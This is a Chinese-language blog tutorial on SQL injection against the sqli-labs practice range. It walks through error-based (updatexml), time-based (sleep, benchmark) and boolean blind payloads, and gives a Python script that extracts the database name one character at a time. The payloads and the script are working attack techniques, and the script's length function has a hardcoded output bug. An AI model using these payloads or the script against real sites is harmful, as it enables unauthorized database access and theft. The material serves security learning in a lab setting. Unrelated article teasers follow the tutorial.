SQL注入入门进阶_报错注入、延时注入、python脚本盲注

SQL注入入门进阶

学习目标

本篇文章入门SQL注入,除了回显的SQL注入还存在报错注入、布尔盲注和延时注入。如果sqlmap跑不出来的还可以使用burp intrude注入或者使用python编写脚本注入。

报错注入

concat() 函数的意思是讲,全部内容连成一个字符串,但是有格式限制限制为XPATH格式。
利用这个特征,故意输入一些的特殊字符如~ (0x7e),^ (0x5e),导致报错将查询部分的内容报错出来

xxxxx是你的sqli-labs靶场url,本节使用到第5关

1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+

http://xxxxxxxxURL/Less-5/?id=1%27%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)%20--+

效果图

在这里插入图片描述

还有其他报错注入语句,这里仅仅只是帮助新手入门,抛转引玉。

时间盲注

使用sql语句判断后跟着延时的函数,从而sql注入出想要的数据。

xxxxx是你的sqli-labs靶场url,本节使用到第九关

http://xxxxxxxxxxxx/Less-9/?id=1%27+and+if(1=1,sleep(10),null)%20--+
?id=1'+and+if(1=1,sleep(10),null) --+
?id=1%27+and+if(length(database())>1,sleep(5),1)%20--+

效果图

在这里插入图片描述

处理mysql中的sleep函数还有benchmark函数

benchmark(10000,md5(‘admin’))

http://xxxxxxx/Less-9/?id=1%27+and+if(1=1,benchmark(10000000,md5(%27admin%27)),null)%20--+

效果图

在这里插入图片描述

不同的数据库有不同的延时注入
在这里插入图片描述

布尔盲注

Less-8/?id=1' and (ascii(substr((select database()) ,2,1))) = 101 --+
?id=1' and (ascii(substr((select database()) ,3,1))) = 99 --+
?id=1' and (ascii(substr((select database()) ,4,1))) = 117 --+
?id=1' and (ascii(substr((select database()) ,5,1))) = 114 --+
?id=1' and (ascii(substr((select database()) ,6,1))) = 105 --+
?id=1' and (ascii(substr((select database()) ,7,1))) = 116 --+
?id=1' and (ascii(substr((select database()) ,8,1))) = 121 --+

使用到sqli-labs第8关
先讲一下使用burp,intrude模块报错注入跑数据库名

在这里插入图片描述

判断出数据库长度为8
在这里插入图片描述

然后再爆破枚举,每个数据库的字符

/Less-8/?id=1'%20and%20substr((select%20database())%20,1,1)='s'--+

在这里插入图片描述

在这里插入图片描述

python编写脚本跑布尔盲注

用到sqli-labs第8关

代码


代码使用python3编写,使用到requests库需要安装一下。

代码主要功能枚举数据库长度,和根据枚举出来的数据库长度逐一枚举出具体数据库名称。

import requests

# 填写的sqli-labs靶场第8关
url = "http://xxxxxxxxx/Less-8/"


def get_length():
    # 判断数据库长度
    for i in range(10):
        payload1 = "?id=1%27%20and%20(length(database()))%20=%20{}%20--+".format(i)
        print(payload1)
        # 拼接好payload然后交给requests函数请求,发起测试
        url1 = url+payload1
        r = requests.get(url1)


        if 'You are in' in r.text:
            print("数据库的长度为:", 8)
            break
    return i

def get_databasename():
    databasename = ''
    len = get_length()
    # 遍历操作枚举数据库名
    for i in range(1,len+1):
    	# ascii码可见字符范围32-127
        for j in range(32,127):
            payload2 = '?id=1%27%20and%20(ascii(substr((select%20database())%20,{},1)))%20=%20{}%20--+'.format( i, j)
            r = requests.get(url+payload2)
            # 判断如果有You are in存在返回包就说明布尔是正确的。
            if 'You are in' in r.text:
            	
            	# 将ascii码转为字符
                databasename += chr(j)
                print("字符为:", chr(j))

    print("数据库名称为",databasename)




if __name__ == '__main__':
    get_databasename()

效果图

在这里插入图片描述

说明

本文章仅供技术交流,如需测试请根据当地法律授权后再进行测试,使用代码默认同意此条款。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/331837.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

书生·浦语大模型实战营第五节课笔记及作业

LMDeploy 大模型量化部署实践 1 大模型部署背景 1.1 模型部署及大模型特点 1.2 大模型部署挑战及方案 2 LMDeploy简介 2.1 核心功能-量化 2.2 核心功能-推理引擎TurboMind 2.1 核心功能-推理服务api server 3 动手实践及作业 按照文档LMDeploy 的量化和部署中的步骤在Intern…

【MIdjourney】一些材质相关的关键词

1.多维剪纸(Multidimensional papercut) "Multidimensional papercut"(多维剪纸)是一种剪纸艺术形式,通过多层次的剪纸技巧和设计来创造出立体感和深度感。这种艺术形式通常涉及在不同的纸层上剪裁不同的图案,并将它们…

鸿蒙开发-UI-布局-线性布局

鸿蒙开发-序言 鸿蒙开发-工具 鸿蒙开发-初体验 鸿蒙开发-运行机制 鸿蒙开发-运行机制-Stage模型 鸿蒙开发-UI 鸿蒙开发-UI-组件 鸿蒙开发-UI-组件-状态管理 鸿蒙开发-UI-应用-状态管理 鸿蒙开发-UI-渲染控制 鸿蒙开发-UI-布局 文章目录 前言 一、基本概念 二、布局子元素 1.子元…

大模型基础2

大模型基础2 第二章:大模型的能力 语言模型的适应性:从语言模型到任务模型的转化 语言模型转化为任务模型的过程称为"适应": 任务的自然语言描述一组训练实例(输入-输出对) 进行适应的两个种方法&#xf…

OSI七层协议和五层协议

【 1 】互联网协议交互的基础 硬件设备 光缆 【 2 】OSI七层协议 物理层(Physical Layer):负责传输比特流(0和1)以及物理连接的建立和维护。数据链路层(Data Link Layer):提供可…

禅道下载安装及基本使用(项目周期管理)实施必会!!!

文章目录 前言:一、为什么要使用禅道?二、禅道的下载与安装 前言: 禅道的使用能使公司提高项目管理效率、促进团队协作、支持敏捷开发,并可根据具体需求进行个性化配置。 本文章博主将以一个项目周期来带你们了解禅道。 一、为什…

企业信息防泄漏管理的理念是什么?

在这个数字化的时代,信息数据的安全已经成为企业发展的关键要素。随着网络技术的飞速发展,信息安全的重要性日益凸显,它关乎企业的生死存亡。在企业的信息系统中,信息泄露是最常见和最严重的风险之一。因此,建立一套全…

django后台进行加密手机号字段,加密存储,解密显示

需求: 1 :员工在填写用户的手机号时,直接填写,在django后台中输入 2:当员工在后台确认要存储到数据库时,后台将会把手机号进行加密存储,当数据库被黑之后,手机号字段为加密字符 3:员…

Flutter编译报错Connection timed out: connect

背景:用Android Studo 创建了Flutter项目,编译运行报错java.net.ConnectException: Connection timed out: connect 我自己的环境: windows11 Android Studio Flutter 截图如下: 将错误日志展开之后: Exception…

银行家算法

文章目录 主要内容一.银行家算法1.需求分析 2.概要设计3.源代码代码如下(示例): 总结 主要内容 一.银行家算法 1.需求分析 通过编写和调试一个系统动态分配资源的简单模拟程序,观察死锁产生条件,采用适当的算法,有效…

Java并发编程: 并发编程中的ExecutionException异常

一、什么是ExecutionException 在并发编程中在执行java.util.concurrent.Future实现类的get方法时,需要捕获java.util.concurrent.ExecutionException这个异常。Future.get()方法通常是要获取任务的执行结果,当执行任务的过程中抛出了异常,就…

WAF攻防相关知识点总结2-代码免杀绕过

WAF的检测除了有对于非正常的流量检测外还对于非正常的数据包特征进行检测 以宝塔为例 在宝塔的后台可以放置一句话木马的文件 宝塔不会对于这个文件进行拦截,但是一旦我们使用菜刀蚁剑等webshell工具去进行连接的时候,数据报中有流量特征就会被拦截 …

【十进制与二进制如何转换?推荐一个超好用的公式编辑器】

在计算机科学和电子工程中,二进制是一种非常重要的数字系统,因为它在数字处理和数据传输中被广泛使用。因此,理解如何将十进制数转换为二进制数是非常重要的。 可以使这个计算过程更加简单和快速。而且还可以用于其他数学方程式的编写和编辑。…

MAC磁盘空间不足怎么清理?MAC清理磁盘空间的五种方法

MAC磁盘空间不足怎么清理?当我们使用苹果MAC一段时间后,就会有大量的垃圾文件占用磁盘空间,例如系统缓存文件、应用程序缓存文件、备份和重复文件、旧版的应用程序及其部件等,为了不影响电脑的后续使用,我们需要经常清…

2. Git

2. Git Git简介 Git是什么? Git是目前世界上最先进的分布式版本控制系统(没有之一)。 Git有什么特点?简单来说就是:高端大气上档次! 那什么是版本控制系统? 如果你用Microsoft Word写过长篇大…

IP定位助力网络安全防线

随着互联网技术的飞速发展,网络安全问题日益凸显。在网络安全领域,IP地址定位技术正发挥着越来越重要的作用,成为维护网络安全的一道有力防线。 一、追踪黑客攻击者,维护公共安全 在网络安全领域,黑客攻击是一个严重的…

RK3568平台开发系列讲解(Linux系统篇)中断下文 tasklet

🚀返回专栏总目录 文章目录 一、什么是 taskle二、tasklet 相关接口函数2.1、静态初始化函数2.2、动态初始化函数2.3、关闭函数2.4、使能函数2.5、调度函数2.6、销毁函数三、测试程序沉淀、分享、成长,让自己和他人都能有所收获!😄

设计模式入门

0. 类图 1. 设计原则 1.单一职责原则:每个类只有一个功能 2.开放封闭原则:模块和函数应该对扩展开放(对提供方),对修改关闭(对使用方) 3.里氏代换原则:子类拥有父类的所有方法和属性,从而可以减少创建类的工作量 4.依…

输入框输入关键字 下拉框的关键字高亮

直接上代码 //搜索框部分 <div><input v-modelkeyWord /><button clickseachFn>搜索</button> </div> //下拉框部分 <div><div v-html"item.name" v-foritem in droplist :keyitem.id></div> </div> <sc…

洛谷 P2415 集合求和

原文链接&#xff1a;洛谷 P2415 集合求和 一、题目链接 集合求和 - 洛谷 妥妥的一道数学问题&#xff0c;把数学层面的问题解决了&#xff0c;代码很好写&#xff1b; 题意&#xff1a;给n个元素的集合&#xff0c;求出所有子集的元素的和。 二、题目分析 思考一下&…